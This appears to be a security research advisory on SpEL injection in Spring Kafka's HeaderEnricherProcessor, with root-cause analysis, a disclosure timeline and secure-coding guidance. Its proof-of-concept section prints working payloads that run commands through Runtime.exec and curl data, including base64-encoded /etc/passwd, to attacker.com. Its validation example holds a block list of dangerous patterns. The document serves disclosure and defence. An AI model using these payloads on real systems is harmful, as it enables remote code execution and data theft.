Technical analysis of Spring Expression Language injection patterns in HeaderEnricherProcessor and the application security considerations for developers
Report ID: VDR-2026-0411-001
Date: April 11, 2026
Vendor Response: Application Issue
Component: Spring Kafka
Executive Summary
The HeaderEnricherProcessor class in Spring for Apache Kafka evaluates header values as Spring Expression Language (SpEL) expressions using StandardEvaluationContext, which provides unrestricted access to Java class loading, method invocation, and object graph traversal. When expression sources are not properly controlled, this can lead to remote code execution.
๐ Classification: Spring’s security team considers this an application-level security concern, where developers are responsible for ensuring SpEL expressions originate from trusted sources only.
This research examines the technical details of the SpEL injection pattern, demonstrates exploitation scenarios, and provides guidance for secure implementation patterns when using HeaderEnricherProcessor in production environments.
Vulnerability Analysis
Root Cause
The HeaderEnricherProcessor accepts a Map<String, Expression> where each entry defines a header name and a SpEL expression to compute its value. These expressions are evaluated using Spring’s StandardEvaluationContext, which provides full, unrestricted SpEL capabilities.
| SpEL Feature | Capability | Security Risk |
|---|---|---|
T(...) Type references | Load arbitrary Java classes | Critical |
| Method invocation | Call any accessible method | Critical |
| Object graph traversal | Navigate full object tree | High |
| Constructor calls | Instantiate arbitrary objects | Critical |
Exposed Attack Surface
The evaluation root object exposes sensitive system components:
// Evaluation root exposes: record โ org.apache.kafka.streams.processor.api.Record context โ ProcessorContext (state stores, app ID, task ID) key โ Record key (convenience alias) value โ Record value (convenience alias)
Attack Vectors & Exploitation
1. Configuration Injection
When application.properties or application.yml values are sourced from external, untrusted inputs:
# Malicious configuration entry
spring.kafka.streams.processors.header-enricher.header-expressions.attack=\
#{T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com/exfil?data=' + this.value)}
2. Dynamic Expression Construction
Application code that programmatically builds expression strings from user input:
// VULNERABLE PATTERN โ user input flows into expression
String userExpr = request.getParameter("enrichExpr");
SpelExpressionParser parser = new SpelExpressionParser();
headers.put("custom-header", parser.parseExpression(userExpr));
3. Proof of Concept Exploitation
Step 1: Standard topology setup (appears normal)
Map<String, Expression> expressionMap = new HashMap<>();
SpelExpressionParser parser = new SpelExpressionParser();
// Developer-intended enrichment
expressionMap.put("processed-at", parser.parseExpression("record.timestamp()"));
// If ANY expression is sourced from untrusted input:
expressionMap.put("enriched",
parser.parseExpression(externalConfig.get("enrich.expression")));
KStream<String, String> stream = builder.stream("input-topic");
stream.process(() -> new HeaderEnricherProcessor<>(expressionMap))
.to("output-topic");
Step 2: Simple RCE payload
#{T(java.lang.Runtime).getRuntime().exec('id')}
Step 3: Advanced data exfiltration
#{T(java.lang.Runtime).getRuntime().exec(
new String[]{'bash', '-c', 'curl http://attacker.com/?d=$(cat /etc/passwd | base64)'}
)}
Step 4: ProcessorContext abuse for lateral movement
#{this.context.applicationId()} // Leak application identity
#{this.context.taskId()} // Leak task assignment info
#{this.record.headers().toArray()} // Exfiltrate all message headers
Impact Assessment
Confidentiality: Critical
- Full read access to filesystem, environment variables, Kafka message contents, and ProcessorContext metadata
Integrity: Critical
- Arbitrary code execution allows modification of data in transit, state stores, and underlying system
Availability: High
- Attacker can terminate JVM, corrupt state stores, or launch resource exhaustion attacks
โ๏ธ Security Classification Debate: While the technical impact remains severe (potential RCE), the lack of CVE assignment highlights the ongoing challenge of determining where framework responsibility ends and application responsibility begins.
Related SpEL Injection Vulnerabilities
Spring Expression Language injection has been identified in several components across the Spring ecosystem. Here’s how this HeaderEnricherProcessor issue compares to previously disclosed vulnerabilities:
| CVE | Component | Description | CVSS |
|---|---|---|---|
| CVE-2022-22963 | Spring Cloud Function | SpEL via HTTP routing-expression header | 9.8 |
| CVE-2022-22947 | Spring Cloud Gateway | SpEL in Actuator route filters | 10.0 |
| CVE-2025-41253 | Spring Cloud Gateway (Webflux) | SpEL injection via application routes | High |
| HeaderEnricherProcessor | Spring Kafka | SpEL injection via header expressions | Application-Level |
๐ Technical Similarity: All these vulnerabilities involve StandardEvaluationContext allowing unrestricted SpEL evaluation. The classification differences reflect varying perspectives on where framework responsibility ends and application responsibility begins.
Common SpEL Injection Patterns
- StandardEvaluationContext usage: Provides unrestricted access to Java classes and methods
- External input sources: Expressions sourced from configuration, HTTP headers, or user input
- Type references:
T(...)syntax enables arbitrary class loading - Method invocation: Access to Runtime.exec() and other dangerous operations
Secure Implementation Guidance
๐ Framework Position: Spring considers HeaderEnricherProcessor usage an application responsibility. Developers must ensure SpEL expressions originate from trusted sources only.
Recommended Security Practices
1. Expression Source Control
// โ
SAFE: Static expressions defined in code
Map<String, Expression> safeExpressions = Map.of(
"timestamp", parser.parseExpression("record.timestamp()"),
"app-version", parser.parseExpression("'v1.0.0'"),
"processed-by", parser.parseExpression("'kafka-streams'")
);
// โ AVOID: Dynamic expressions from external sources
String configExpression = System.getProperty("custom.header.expr");
expressions.put("dynamic", parser.parseExpression(configExpression));
2. Configuration Validation
// Example: Validate expressions before use
public void validateExpression(String expr) {
// Block dangerous patterns
if (expr.contains("T(") || expr.contains("Runtime") ||
expr.contains("ProcessBuilder") || expr.contains("exec(")) {
throw new SecurityException("Unsafe expression detected");
}
// Allow only safe property access
if (!expr.matches("^[a-zA-Z0-9.'()\\-_\\s]+$")) {
throw new SecurityException("Invalid expression format");
}
}
3. Alternative Approaches
- Custom Processors: Implement dedicated header enrichment logic without SpEL
- Template-based: Use simple string templates instead of full SpEL expressions
- Predefined Values: Map headers to static values or simple record properties
Architecture Considerations
# Secure configuration example
spring:
kafka:
streams:
application-id: secure-app
# Keep expressions simple and static
processors:
header-enricher:
expressions:
timestamp: "record.timestamp()"
version: "'1.0'"
# Avoid: Any dynamic or externally sourced expressions
โ ๏ธ Key Principle: Treat any StandardEvaluationContext usage as potentially dangerous. Audit all SpEL expressions in your codebase for dynamic content sources.
Research Timeline
April 11, 2026 – Technical Analysis
Identified SpEL injection pattern in HeaderEnricherProcessor and conducted technical validation
April 11, 2026 – Proof of Concept
Developed exploitation examples and documented attack vectors
April 12, 2026 – Vendor Notification
Submitted findings to Spring Security team via established channels
April 15, 2026 – Vendor Response
Spring classified this as an application-level security concern rather than a framework vulnerability
Today – Public Research
Sharing technical analysis and secure implementation guidance with the developer community
๐ Research Outcome: While no CVE was assigned, this research provides valuable guidance for developers using HeaderEnricherProcessor in security-sensitive environments.
Key Takeaways
- Audit SpEL Usage: Review all HeaderEnricherProcessor implementations for dynamic expression sources
- Static Expressions Only: Ensure expressions are hardcoded and never sourced from external input
- Apply Defense in Depth: Use input validation, least privilege, and monitoring even for “application-level” issues
- Understand Boundaries: Know where framework responsibility ends and application security begins
- Consider Alternatives: Evaluate whether SpEL is necessary or if simpler approaches can meet requirements
This security research provides technical analysis of SpEL injection patterns and practical guidance for secure implementation. The findings contribute to better understanding of application security responsibilities when using Spring Expression Language.
Educational Purpose: This research helps developers understand potential security implications of SpEL usage and provides concrete guidance for implementing secure header enrichment patterns in Kafka Streams applications.
Security Research by Henock Habte โข April 2026
Technical analysis conducted following responsible disclosure practices